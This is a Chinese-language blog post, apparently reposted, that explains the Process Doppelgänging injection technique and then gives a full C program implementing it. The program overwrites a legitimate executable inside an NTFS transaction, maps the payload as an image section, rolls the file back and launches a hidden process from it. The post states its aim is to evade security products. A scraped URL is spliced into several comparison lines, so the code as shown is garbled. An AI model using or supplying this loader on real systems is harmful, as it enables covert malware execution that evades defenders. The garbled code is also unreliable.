行程注入:Process Doppelg?nging
??攻擊者可以通過Process Doppelg?nging將惡意代碼注入到行程中,從而逃避基于行程的防護,并且進行可能的特權提升,Process Doppelg?nging是一種在單獨的活動行程的地址空間中執行任意代碼的方法,
??Vista中引入了Windows事務NTFS(TxF)作為執行安全檔案操作的方法,為確保資料完整性,TxF僅允許一個事務處理句柄在給定時間寫入同一個檔案,在寫句柄事務終止之前,所有其他句柄均被隔離,只能讀取打開該句柄時已存在的檔案的提交版本,為避免損壞,如果系統或應用程式在寫事務期間發生失敗,TxF將執行自動回滾,
??盡管已被棄用,但直至Windows 10,仍可使用TxF應用程式編程介面(API),
??攻擊者可能濫用TxF來執行Process Injection的無檔案變體,與“Process Hollowing”類似,Process Doppelg?nging通過替換合法行程的記憶體,使惡意代碼得以隱蔽執行,從而逃避檢測,Process Doppelg?nging對TxF的利用也避免了使用被殺軟重度監控的API功能,例如NtUnmapViewOfSection,VirtualProtectEx,和SetThreadContext,
??Process Doppelg?nging分為4個步驟:
- Transact – 使用合法的可執行檔案創建TxF事務,然后使用惡意代碼覆寫該檔案,這些更改與外部隔離,并且僅在當前事務背景關系中可見;
- Load – 從記憶體中創建一個共享
Section用于加載覆寫后的惡意可執行檔案; - Rollback – 撤消對原始合法可執行檔案的更改,從而有效地從檔案系統中清除惡意代碼;
- Animate – 從記憶體中惡意代碼所在的
Section處創建一個行程并啟動執行,
??由于被注入行程是從實作注入的行程中創建的(繼承了安全背景關系),因此該行為應該是不會導致特權提升的,但是,由于執行程序隱藏于合法行程下,因此通過process doppelg?nging執行可以避開安全產品的檢測,
??在測驗的時候,發現在64位系統下,32位的process doppelg?nging將會失敗,只能使用64位的注入;32位系統下的process doppelg?nging則正常,
#include "winntos.h"
#include "stdio.h"
#include "ktmw32.h"
#define MAX(a, b) (a > b? a:b)
#define MIN(a, b) (a > b? b:a)
#pragma comment(lib, "ktmw32.lib")
INT wmain(INT argc, WCHAR* argv[]) {
if (argc < 3) {
printf("usage: proc_Dopp.exe <whiteModuleFile> <injectModuleFile>\n\n");
return 1;
}
NtCreateSection ntCreateSection = NULL;
NtCreateProcessEx ntCreateProcessEx = NULL;
RtlCreateProcessParametersEx rtlCreateProcessParametersEx = NULL;
NtQueryInformationProcess ntQueryInformationProcess = NULL;
RtlInitUnicodeString rtlInitUnicodeString = NULL;
NtCreateThreadEx ntCreateThreadEx = NULL;
HMODULE ntdll = LoadLibrary(L"ntdll.dll");
if (ntdll) {
ntCreateSection = (NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
if (ntCreateSection)
printf(" Succeed get funtion NtCreateSection Address : %#llx :)\n", (DWORD)ntCreateSection);
else {
printf(" Fail get funtion NtCreateSection Address :(\n");
return 1;
}
ntCreateProcessEx = (NtCreateProcessEx)GetProcAddress(ntdll, "NtCreateProcessEx");
if (ntCreateProcessEx)
printf(" Succeed get funtion NtCreateProcessEx Address : %#llx :)\n", (DWORD)ntCreateProcessEx);
else {
printf(" Fail get funtion NtCreateProcessEx Address :(\n");
return 1;
}
rtlCreateProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(ntdll, "RtlCreateProcessParametersEx");
if (rtlCreateProcessParametersEx)
printf(" Succeed get funtion RtlCreateProcessParametersEx Address : %#llx :)\n",
(DWORD)rtlCreateProcessParametersEx);
else {
printf(" Fail get funtion RtlCreateProcessParametersEx Address :(\n");
return 1;
}
ntQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
if (ntQueryInformationProcess)
printf(" Succeed get funtion NtQueryInformationProcess Address : %#llx :)\n",
(DWORD)ntQueryInformationProcess);
else {
printf(" Fail get funtion NtQueryInformationProcess Address :(\n");
return 1;
}
rtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
if (rtlInitUnicodeString)
printf(" Succeed get funtion RtlInitUnicodeString Address : %#llx :)\n",
(DWORD)rtlInitUnicodeString);
else {
printf(" Fail get funtion RtlInitUnicodeString Address :(\n");
return 1;
}
ntCreateThreadEx = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
if (ntCreateThreadEx)
printf(" Succeed get funtion NtCreateThreadEx Address : %#llx :)\n",
(DWORD)ntCreateThreadEx);
else {
printf(" Fail get funtion NtCreateThreadEx Address :(\n");
return 1;
}
}
else {
printf(" Load ntdll.dll Failed :(\n");
return 1;
}
WCHAR *szSrcFile = (WCHAR*)malloc(wcslen(argv[1]) + 4);
WCHAR *szInjectFile = (WCHAR*)malloc(wcslen(argv[2]) + 4);
HANDLE hInjFile = NULL, hTx = NULL, hTransFile = NULL, hSection = NULL, hProcess = NULL, hCurProcess = NULL;
CHAR *szInjBuff = NULL;
wcscpy(szSrcFile, argv[1]);
wcscpy(szInjectFile, argv[2]);
do {
hInjFile = CreateFile(szInjectFile, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
if (INVALID_HANDLE_VALUE =https://www.cnblogs.com/zUotTe0/p/= hInjFile) {
if (GetLastError() == ERROR_FILE_NOT_FOUND)
printf(" The File To Be INJECTED NOT FOUND :(\n");
else
printf(" OPEN injected file ERROR :(\n");
break;
}
DWORD dwInjFileSize = GetFileSize(hInjFile, 0), dwReadBytes = 0;
szInjBuff = (CHAR*)malloc(dwInjFileSize);
if (!ReadFile(hInjFile, szInjBuff, dwInjFileSize, &dwReadBytes, 0)) {
printf(" read injected file error :(\n");
break;
}
hTx = CreateTransaction(0, 0, 0, 0, 0, 0, 0);
if (INVALID_HANDLE_VALUE =https://www.cnblogs.com/zUotTe0/p/= hTx) {
printf(" create transaction failed :(\n");
break;
}
hTransFile = CreateFileTransacted(szSrcFile, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0, hTx, 0, 0);
if (INVALID_HANDLE_VALUE =https://www.cnblogs.com/zUotTe0/p/= hTransFile) {
printf(" append black file transacted failed :(\n");
break;
}
DWORD dwWrittenBytes = 0;
if (!WriteFile(hTransFile, szInjBuff, dwReadBytes, &dwWrittenBytes, 0) || !dwWrittenBytes) {
printf(" write target file failed :(\n");
break;
}
printf(" Write To Target File success :)\n");
hSection = NULL;
if (ntCreateSection(&hSection, SECTION_ALL_ACCESS, 0, 0, PAGE_READONLY, SEC_IMAGE, hTransFile)) {
printf(" CreateSeciotn Failed :( %#x\n", GetLastError());
break;
}
// succeed map file as image
printf(" CreateSeciotn Success :)\n");
if (!RollbackTransaction(hTx)) {
printf(" RollBackFile Failed :( %#x\n", GetLastError());
break;
}
printf(" RollBackFile Success :)\n");
hProcess = NULL;
hCurProcess = GetCurrentProcess();
if (ntCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, 0, hCurProcess, 4, hSection, 0, 0, 0)) {
printf(" create process failed :( %#x\n", GetLastError()); // 失敗
break;
}
printf(" create process SUCCESS :)\n");
PROCESS_BASIC_INFORMATION pbi;
DWORD ReturnLength = 0;
/* 獲取注入行程的PEB資料塊資訊 */
if (ntQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength)) {
printf(" query process pbi failed :( %#x\n", GetLastError());
break;
}
SIZE_T size = 0, imgBase = NULL;
CHAR tmp[0x100] = { 0 };
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &tmp, 0x100, &size);
imgBase = (ULONG64)((PPEB)tmp)->ImageBaseAddress; // PEB獲取注入行程基址
printf(" image base: %#llx\n", imgBase);
PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
UNICODE_STRING dstUniStr;
rtlInitUnicodeString(&dstUniStr, szSrcFile);
if(rtlCreateProcessParametersEx(&processParams, &dstUniStr, NULL, NULL, &dstUniStr, NULL,
NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)){
printf(" Create ProcessParameters failed :( %#x\n", GetLastError());
break;
}
printf(" Create ProcessParameters SUCCESS :)\n");
HANDLE ThreadID = NULL;
LPVOID paramBaseAddr = NULL;
ULONG_PTR start = (ULONG_PTR)MIN(processParams, processParams->Environment);
ULONG_PTR end = (ULONG_PTR)MAX(processParams, processParams->Environment);
size = end - start;
if (!VirtualAllocEx(hProcess, (LPVOID)start, size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
printf(" VirtualAllocEx processParams failed :( %#x\n", GetLastError());
break;
}
if (!WriteProcessMemory(hProcess, (LPVOID)start, processParams, size, &size)) {
printf(" Write USER PROCESS PARAMETERS failed :( %#x\n", GetLastError());
break;
}
if (!WriteProcessMemory(hProcess, &(pbi.PebBaseAddress->ProcessParameters), &processParams, sizeof(PVOID), &size)) {
printf(" Write USER PROCESS PARAMETERS Address failed :( %#x\n", GetLastError());
break;
}
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(szInjBuff + ((PIMAGE_DOS_HEADER)szInjBuff)->e_lfanew);
LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)(imgBase + (pNtHeader->OptionalHeader.AddressOfEntryPoint));
printf(" entry point: %#llx\n", entry);
if (ntCreateThreadEx(&ThreadID, THREAD_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)entry,
NULL, FALSE, 0, 0, 0, NULL)) {
printf(" Create Thread failed :( %#x\n", GetLastError());
break;
}
printf(" Create Thread Success :)\n");
/*if (!CreateRemoteThread(hProcess, NULL, NULL,
(LPTHREAD_START_ROUTINE)(pNtHeader->OptionalHeader.AddressOfEntryPoint + imgBase),
NULL, NULL, &ThreadID)) {
printf(" Create Thread failed :( %#x\n", GetLastError());
break;
}
printf(" remote thread id: %#x\n", ThreadID);*/
} while (0);
VirtualFree(szInjectFile, 0, MEM_RELEASE);
VirtualFree(szSrcFile, 0, MEM_RELEASE);
VirtualFree(szInjBuff, 0, MEM_RELEASE);
if (hTransFile)
CloseHandle(hTransFile);
if (hTx)
CloseHandle(hTx);
if (hInjFile)
CloseHandle(hInjFile);
if (hCurProcess)
CloseHandle(hCurProcess);
if (hSection)
CloseHandle(hSection);
if (hProcess)
CloseHandle(hProcess);
return 0;
}

參考:
https://attack.mitre.org/techniques/T1055/013/
https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/152964.html
標籤:訊息安全
上一篇:原生JS判斷作用域輸出值
